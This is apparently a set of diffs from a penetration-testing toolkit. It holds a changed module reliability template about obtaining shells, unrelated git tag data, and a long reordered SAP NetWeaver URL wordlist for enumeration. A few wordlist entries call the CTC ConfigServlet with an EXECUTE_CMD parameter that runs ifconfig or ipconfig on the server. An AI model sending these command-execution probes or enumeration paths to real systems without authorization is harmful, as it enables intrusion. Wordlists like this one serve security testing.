"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.4",
|
||||
"commit": {
|
||||
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.3",
|
||||
"commit": {
|
||||
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.2",
|
||||
"commit": {
|
||||
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.1",
|
||||
"commit": {
|
||||
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.1",
|
||||
"commit": {
|
||||
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.0",
|
||||
"commit": {
|
||||
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.2",
|
||||
"commit": {
|
||||
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.1",
|
||||
"commit": {
|
||||
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.0",
|
||||
"commit": {
|
||||
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.4",
|
||||
"commit": {
|
||||
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.3",
|
||||
"commit": {
|
||||
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -83,6 +83,8 @@
|
||||
<% description = "The module is expected to get a shell every time it runs." %>
|
||||
<% elsif reliability == "unreliable-session" %>
|
||||
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
|
||||
<% elsif reliability == "event-dependent" %>
|
||||
<% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
|
||||
<% end %>
|
||||
|
||||
* **<%= reliability %>:** <%= description %>
|
||||
|
||||
@@ -88,6 +88,7 @@ strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
|
||||
align 16
|
||||
global _start
|
||||
_start:
|
||||
|
||||
|
||||
Binary file not shown.
+1224
-140
@@ -1,3 +1,7 @@
|
||||
/@download@
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AdapterFramework/version/version.jsp
|
||||
/AdminTools/
|
||||
/Adobe
|
||||
@@ -5,64 +9,26 @@
|
||||
/AdobeDocumentServices/Config?wsdl
|
||||
/AdobeDocumentServices/Grmg
|
||||
/AdobeDocumentServicesSec/Config
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AnalyticalReporting/
|
||||
/AnalyticalReporting/AnalyticalReporting_merge_web.xml
|
||||
/AnalyticalReporting/download/win32/websetup.properties
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/ApplicationAdminProvider
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/BI_UDC
|
||||
/BizcCommLayerAuthoring/Config1
|
||||
/BizcCommLayerAuthoring/Config1?wsdl
|
||||
/BizcCommLayerAuthoring/Config?wsdl
|
||||
/bwtest
|
||||
/caf
|
||||
/CAFDataService/Config
|
||||
/CAFDataService/Config?wsdl
|
||||
/ccsui
|
||||
/CmcApp/logon.faces
|
||||
/CMSRTS/Config1
|
||||
/CMSRTS/Config1?wsdl
|
||||
/CMSRTS/Config?wsdl
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/CmcApp/logon.faces
|
||||
/CrystalReports/viewrpt.cwr
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/DataArchivingService
|
||||
/dispatcher
|
||||
/@download@
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/examples.html
|
||||
/exchangeProfile/
|
||||
/GRMGHeartBeat
|
||||
/GRMGWSTest/service
|
||||
/GRMGWSTest/service?wsdl
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/IGSCustomizingXML
|
||||
/IciActionItemService/IciActionItemConf
|
||||
/IciActionItemService/IciActionItemConf?wsdl
|
||||
/IciChatLineService/IciChatLineConf
|
||||
@@ -86,11 +52,67 @@
|
||||
/IciSystemService/IciSystemConf?wsdl
|
||||
/IciUserService/IciUserConf
|
||||
/IciUserService/IciUserConf?wsdl
|
||||
/IGSCustomizingXML
|
||||
/index.html
|
||||
/InfoViewApp/
|
||||
/InfoViewApp/help/en/user/html/
|
||||
/InfoViewApp/listing/main.do?appKind=InfoView&service=%2FInfoViewApp%2Fcommon%2FappService.do
|
||||
/KW
|
||||
/Lighthammer
|
||||
/Modeler
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/RE/index.jsp
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/SQLtrace/index.html
|
||||
/TOdbo
|
||||
/TSapq
|
||||
/TXmla
|
||||
/TestJDBC_Web
|
||||
/VC
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/bwtest
|
||||
/caf
|
||||
/ccsui
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/dispatcher
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples.html
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/exchangeProfile/
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/index.html
|
||||
/inspection.wsil
|
||||
/ipcpricing/ui/
|
||||
/irj
|
||||
@@ -111,32 +133,26 @@
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
/irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
/irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
/KW
|
||||
/Lighthammer
|
||||
/logon
|
||||
/logon/index.jsp
|
||||
/logon/logonServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/main.html
|
||||
/meSync/HttpGRMGTest.html
|
||||
/mmr/
|
||||
/mmr/mmr/MMRUI.html
|
||||
/Modeler
|
||||
/modeller/
|
||||
/modeller/index.html
|
||||
/monitoring
|
||||
/monitoring/SystemInfo
|
||||
/nwa
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/performanceProvierRoot
|
||||
/pmi
|
||||
/portal
|
||||
/portalapps
|
||||
/RE/index.jsp
|
||||
/rep/build_info.html
|
||||
/rep/build_info.jsp
|
||||
/rep/start/index.jsp
|
||||
@@ -147,9 +163,24 @@
|
||||
/samlssodemo_dest
|
||||
/samlssodemo_source
|
||||
/sap/
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/IStest
|
||||
/sap/admin
|
||||
/sap/admin/public/index.html
|
||||
/sap/ap
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/abap/demo
|
||||
/sap/bc/abap/demo_apc
|
||||
/sap/bc/abap/demo_apc_pcp
|
||||
@@ -184,34 +215,34 @@
|
||||
/sap/bc/bsp/sap/certmap
|
||||
/sap/bc/bsp/sap/certreq
|
||||
/sap/bc/bsp/sap/crm_bsp_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/crmcmp_bpident/
|
||||
/sap/bc/bsp/sap/crmcmp_brfcase
|
||||
/sap/bc/bsp/sap/crmcmp_hdr
|
||||
/sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
/sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/esh_sap_link
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/graph_bsp_test
|
||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
/sap/bc/bsp/sap/gsbirp
|
||||
/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
/sap/bc/bsp/sap/iccmp_header
|
||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00/default.htm
|
||||
/sap/bc/bsp/sap/it00/http_client.htm
|
||||
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/FAA
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/graphics
|
||||
/sap/bc/bsp/sap/public/sem
|
||||
/sap/bc/bsp/sap/sam_demo
|
||||
@@ -221,17 +252,17 @@
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/spi_admin
|
||||
/sap/bc/bsp/sap/spi_monitor
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/bsp/sap/sxms_alertrules
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/thtmlb_scripts
|
||||
/sap/bc/bsp/sap/thtmlb_styles
|
||||
/sap/bc/bsp/sap/uicmp_ltx
|
||||
/sap/bc/bsp/sap/xmb_bsp_log
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/contentserver
|
||||
/sap/bc/docu
|
||||
/sap/bc/echo
|
||||
@@ -249,23 +280,10 @@
|
||||
/sap/bc/erecruiting/verification
|
||||
/sap/bc/error
|
||||
/sap/bc/error
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/graphics/net
|
||||
/sap/bc/gui/sap/its/CERTREQ
|
||||
/sap/bc/gui/sap/its/designs
|
||||
/sap/bc/gui/sap/its/webgui
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/ping
|
||||
/sap/bc/report
|
||||
/sap/bc/soap/ici
|
||||
@@ -276,19 +294,23 @@
|
||||
/sap/bc/wdvd
|
||||
/sap/bc/wdvd/
|
||||
/sap/bc/webdynpro
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webdynpro/sap/apb_launchpad
|
||||
/sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
/sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
/sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
/sap/bc/webdynpro/sap/appl_soap_management
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
/sap/bc/webdynpro/sap/cnp_light_test
|
||||
/sap/bc/webdynpro/sap/configure_application
|
||||
/sap/bc/webdynpro/sap/configure_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||
@@ -314,25 +336,20 @@
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
/sap/bc/webdynpro/sap/wdhc_application
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webrfc
|
||||
/sap/bc/workflow/shortcut
|
||||
/sap/bc/xrfc
|
||||
/sap/bc/xrfc_test
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/crm
|
||||
/sap/es/atk
|
||||
/sap/es/cockpit
|
||||
@@ -347,16 +364,39 @@
|
||||
/sap/gw
|
||||
/sap/gw/bep
|
||||
/sap/gw/jsonrpc
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/sap/IStest
|
||||
/sapmc/sapmc.html
|
||||
/sap/monitoring/
|
||||
/sap/public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/public/bc
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/abap
|
||||
/sap/public/bc/abap/docu
|
||||
/sap/public/bc/abap/mime_demo
|
||||
@@ -364,7 +404,6 @@
|
||||
/sap/public/bc/apc_test
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sf
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sl
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/bpo
|
||||
/sap/public/bc/bsp
|
||||
/sap/public/bc/clms
|
||||
@@ -388,8 +427,6 @@
|
||||
/sap/public/bc/its/mobile/test
|
||||
/sap/public/bc/its/scripts
|
||||
/sap/public/bc/jsm
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/pictograms
|
||||
/sap/public/bc/qgm
|
||||
/sap/public/bc/sec
|
||||
@@ -410,13 +447,13 @@
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/wdtracetool
|
||||
/sap/public/bc/webdynpro
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/Polling
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/ssr
|
||||
/sap/public/bc/webdynpro/viewdesigner
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webicons
|
||||
/sap/public/bc/workflow
|
||||
/sap/public/bc/workflow/shortcut
|
||||
@@ -424,31 +461,16 @@
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/faa
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/graphics
|
||||
/sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
/sap/public/bsp/sap/public/graphics/mimes
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/icf_check
|
||||
/sap/public/icf_info
|
||||
/sap/public/icf_info/icr_groups
|
||||
@@ -457,23 +479,14 @@
|
||||
/sap/public/icf_info/urlprefix
|
||||
/sap/public/icman
|
||||
/sap/public/icman/ping
|
||||
/sap/public/icmandir/its/kernel_version.info
|
||||
/sap/public/icmandir/last_update_ITS.txt
|
||||
/sap/public/icmandir/last_update_icmadmin.txt
|
||||
/sap/public/info
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/myssocntl
|
||||
/sap/public/opu
|
||||
/sap/public/opu/resources
|
||||
/sap/public/ping
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/wdisp/admin
|
||||
/sap/wdvd
|
||||
/sap/webcuif
|
||||
@@ -485,26 +498,20 @@
|
||||
/sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
/sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
/sap/webdynpro/sap/wd_analyze_config_user
|
||||
/sapmc/sapmc.html
|
||||
/scripts/wgate
|
||||
/servlet/com.sap.admin.Critical.Actio
|
||||
/sim/
|
||||
/sim/config/testdata.jsp
|
||||
/sim/config/testerror.jsp
|
||||
/sim/index.html
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/socoview
|
||||
/socoview/flddisplay.asp
|
||||
/SQLtrace/index.html
|
||||
/sysconfig
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/tc.lm.webadmin.endtoend.public.app
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/teched/test
|
||||
/TestJDBC_Web
|
||||
/TOdbo
|
||||
/top.html
|
||||
/TSapq
|
||||
/TXmla
|
||||
/uddi/
|
||||
/uddiclient
|
||||
/uddiclient/jsps/index.jsp
|
||||
@@ -512,7 +519,6 @@
|
||||
/useradmin
|
||||
/userhome
|
||||
/utl/UsageTypesInfo
|
||||
/VC
|
||||
/vscantest/
|
||||
/webdynpro/dispatcher
|
||||
/webdynpro/dispatcher/
|
||||
@@ -530,14 +536,11 @@
|
||||
/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
/webdynpro/resources/sap.com/
|
||||
/webdynpro/welcome/Welcome.jsp
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/wsd2wsdl
|
||||
/wsnavigator
|
||||
/wsnavigator/jsps/index.jsp
|
||||
@@ -547,3 +550,1084 @@
|
||||
/wssproc/cert
|
||||
/wssproc/plain
|
||||
/wssproc/ssl
|
||||
@download@
|
||||
ADS-EJB
|
||||
ADS-License
|
||||
AE/index.jsp
|
||||
Adobe
|
||||
AdobeDocumentServices/Config
|
||||
AdobeDocumentServices/Config?wsdl
|
||||
AdobeDocumentServices/Grmg
|
||||
AdobeDocumentServicesSec/Config
|
||||
ApplicationAdminProvider
|
||||
BI_UDC
|
||||
BizcCommLayerAuthoring/Config1
|
||||
BizcCommLayerAuthoring/Config1?wsdl
|
||||
BizcCommLayerUtilities/Config1
|
||||
CAFDataService/Config
|
||||
CAFDataService/Config?wsdl
|
||||
CMSRTS/Config1
|
||||
CMSRTS/Config1?wsdl
|
||||
DataArchivingService
|
||||
GRMGHeartBeat
|
||||
GRMGWSTest/service
|
||||
GRMGWSTest/service?wsdl
|
||||
IGSCustomizingXML
|
||||
IciActionItemService/IciActionItemConf
|
||||
IciActionItemService/IciActionItemConf?wsdl
|
||||
IciChatLineService/IciChatLineConf
|
||||
IciChatLineService/IciChatLineConf?wsdl
|
||||
IciChatSessionService/IciChatSessionConf
|
||||
IciContainerService/IciContainerConf
|
||||
IciEventService/
|
||||
IciEventService/IciEventConf
|
||||
IciEventService/IciEventConf?wsdl
|
||||
IciEventService/sap
|
||||
IciFolderService/IciFolderConf
|
||||
IciFolderService/IciFolderConf?wsdl
|
||||
IciItemService/IciItemConf
|
||||
IciItemService/IciItemConf?wsdl
|
||||
IciMessageService/IciMessageConf
|
||||
IciMessageService/IciMessageConf?wsdl
|
||||
IciMonitorService/IciMonitorConf
|
||||
IciMonitorService/IciMonitorConf?wsdl
|
||||
IciPhoneCallService/IciPhoneCallConf
|
||||
IciPhoneCallService/IciPhoneCallConf?wsdl
|
||||
IciPhoneLineService/IciPhoneLineConf
|
||||
IciSystemService/IciSystemConf
|
||||
IciSystemService/IciSystemConf?wsdl
|
||||
IciUserService/IciUserConf
|
||||
IciUserService/IciUserConf?wsdl
|
||||
KW
|
||||
Lighthammer
|
||||
Modeler
|
||||
OpenSQLMonitors
|
||||
OpenSQLMonitors/
|
||||
OpenSQLMonitors/index.html
|
||||
PerformacetraceTraceApplication
|
||||
RE/index.jsp
|
||||
SAPIKS
|
||||
SAPIKS2
|
||||
SAPIKS2/contentShow.sap
|
||||
SAPIKS2/jsp/adminShow.jsp
|
||||
SAPIrExtHelp
|
||||
SLDStart/plain
|
||||
SLDStart/secure
|
||||
SQLTrace
|
||||
SQLtrace/index.html
|
||||
TOdbo
|
||||
TSapq
|
||||
TXmla
|
||||
TestJDBC_Web
|
||||
VC
|
||||
